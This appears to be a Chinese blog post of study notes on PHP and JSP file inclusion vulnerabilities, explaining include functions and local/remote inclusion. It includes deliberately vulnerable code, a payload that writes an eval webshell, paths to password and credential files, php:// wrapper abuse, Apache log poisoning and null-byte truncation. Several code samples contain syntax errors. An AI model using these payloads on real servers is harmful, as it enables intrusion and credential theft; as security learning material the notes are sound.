end的文件包含漏洞学习1

包含:把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写。

PHP包含
PHP中提供了四个文件包含函数:
require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
include:找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行:
require_once:与require类似,唯一区别如果该文件中的代码被包含,则不会再次包含。
include_once:与include类似,唯一区别如果该文件中的代码被包含,则不会再次包含。

1,文件包含示例
本地包含

<?php
   function PrintArr($arr,$sp="-->",$lin="<br/>'){
       foreach ($arr as $key =>$value){
	   echo "$key $sp $value $lin"
	   }
   }
?>

<?php
   include("ArrayUtil.php");//包含ArrayUtil.php文件
   $arr = array("张三",“李四","王五");
   PrintArr($arr,"==>");
?>

这为普通的文件包含,但是我们可以利用:

<?php
   phpinfo();
?>//在phpinfo.txt文本文件中

<?php
  include("phpinfo.txt");
?>

只要文件符合PHP语法规范,txt,jpg,xxx,doc,等扩展名都可以被PHP解析。

但包含非PHP语法规范源文件,将会暴露其源代码。

2,远程包含Remote File Include(RFI)
①,需要确定PHP是否已经开启远程包含功能选项(PHP默认关闭远程包含功能)。
②,开启远程包含功能需要在php.ini配置文件中修改,修改后需要重启Web容器服务使其生效。
allow_url_include = Off

<?php
  echo" Hello";
?>//根目录下存在php.txt

<?php
  include($_GET['page']);
?>

访问URL/Index.php?page=URL/php.txt
远程文件包含与本地文件包含没有区别,只要符合php语法,PHP解析器就会对其解析。

文件包含漏洞范例

<?php
   if(isset($_GET['page'])){判断¥GET是否为空,若不为空,使用include包含这个函数
   include $_GET['page']:
   }else{
   include'home.php';//若为空,包含home.php
   }
?>

漏洞在于如果page=xx.php 如果xx不存在,但是xx不是空的,通常情况下就会出现警告,暴露出网站的绝对路径.

PHP文件包含利用
1,读取敏感文件
Windows:
c:\boot.ini //查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml //ISS配置文件
c:\windows\repair\sam //存储Windows系统初次安装的密码
c:\Program Files\mysql\my.ini //Mysql配置
c:\Program Files\mysql\data\mysql\user.MYD //Mysql root
c:\windows\php.ini // php配置信息
c:\windows\my.ini //Mysql配置信息

UNIX/Linux:
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf//apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虚拟网站设置
/usr/local/app/php5/lib/php.ini//PHP相关设置
/etc/httpd/conf/httpd.conf//apache配置文件
/etc/my.cnf//Mysql的配置文件

2,远程包含shell
前提 allow_url_fopen是激活的
echo.txt文件

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")>

访问URL/index.php?page=URL/echo.txt
会在index.php目录下生成shell.php

3,PHP封装协议
①读取
URL?page=php://filter/read=地址

②写入
php://input可以执行PHP语句 前提allow_url_fopen=O
构造:URL?page=php://inpit,并且提交数据(提交上面那条语句将会在index.php目录下生成shell.php)

4,包含Apache日志文件
PHP存在本地包含漏洞导致文件无法上传,此时就需要找到Apache路径,利用包含漏洞包含Apache日志文件获取webshell。

Apache运行后一般默认生成2个日志文件
access.log(访问日志)
error.log(错误日志)

access.log由七部分组成:
客户端地址:访问者的IP
访问者的标识:一般为空格,用“-”替代
访问者的验证名字:同上
请求的时间:记录访问操作发生的时间
请求类型:GET,POST,HEAD等
响应的HTTP状态码:正常情况下为200
发送给客户端的字节数:表示发送给客户端的总字节数

如果网站存在本地包含漏洞,但是没有可以包含的文件,可以访问URL/<?php phpinfo();?>。Apache会记录请求<?php phpinfo();?>,并写到access.log文件中。这时候就可以去包含Apache日志文件。<>空格会被转码,(<=%3C >=%3E 空格=%20) 这样去绕过。

5,截断包含
PHP修复包含漏洞巩固拓展名:

<?php
   if(isset($_GET['page'])){
   include $_GET['page'].".php";
   }else{
   include'home.php';
   }
?>

将文件拓展名固定了
?page=1.jpg 会因为找不到1.jpg.php而无法包含。
但是改为page=1.jpg%00就可以执行了(前提:magic_quotes_gpc=Off)
为ON情况下 " ’ \ NULL 都会被转义

JSP包含
JSP包含分为:静态包含,动态包含。
1,静态包含
先进行包含,再做处理操作。
JSP语法规定,include指令为静态包含,只允许包含一个已经存在于服务器中的文件。

2,动态包含
<jsp:include page=“page.txt”/>
先处理被包含页面,再包含。
当jsp:include/标签在包含一个非JSP文件拓展名时,如果内容符合JSP语法会读取源代码,不会解析JSP代码。

客户端跳转
客户端跳转又名重定向,客户端跳转后浏览器URL发生改变,通常使用Response.sendRedirect()方法。

服务器端挑战
服务器跳转又称URL转发,跳转后浏览器的URL不变。
服务器跳转通常使用RequestDispatcher接口中的forward方法。
URL发生跳转的时候,可能会暴露web.xml
URL?pathname=./WEB-INF/web.xml

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值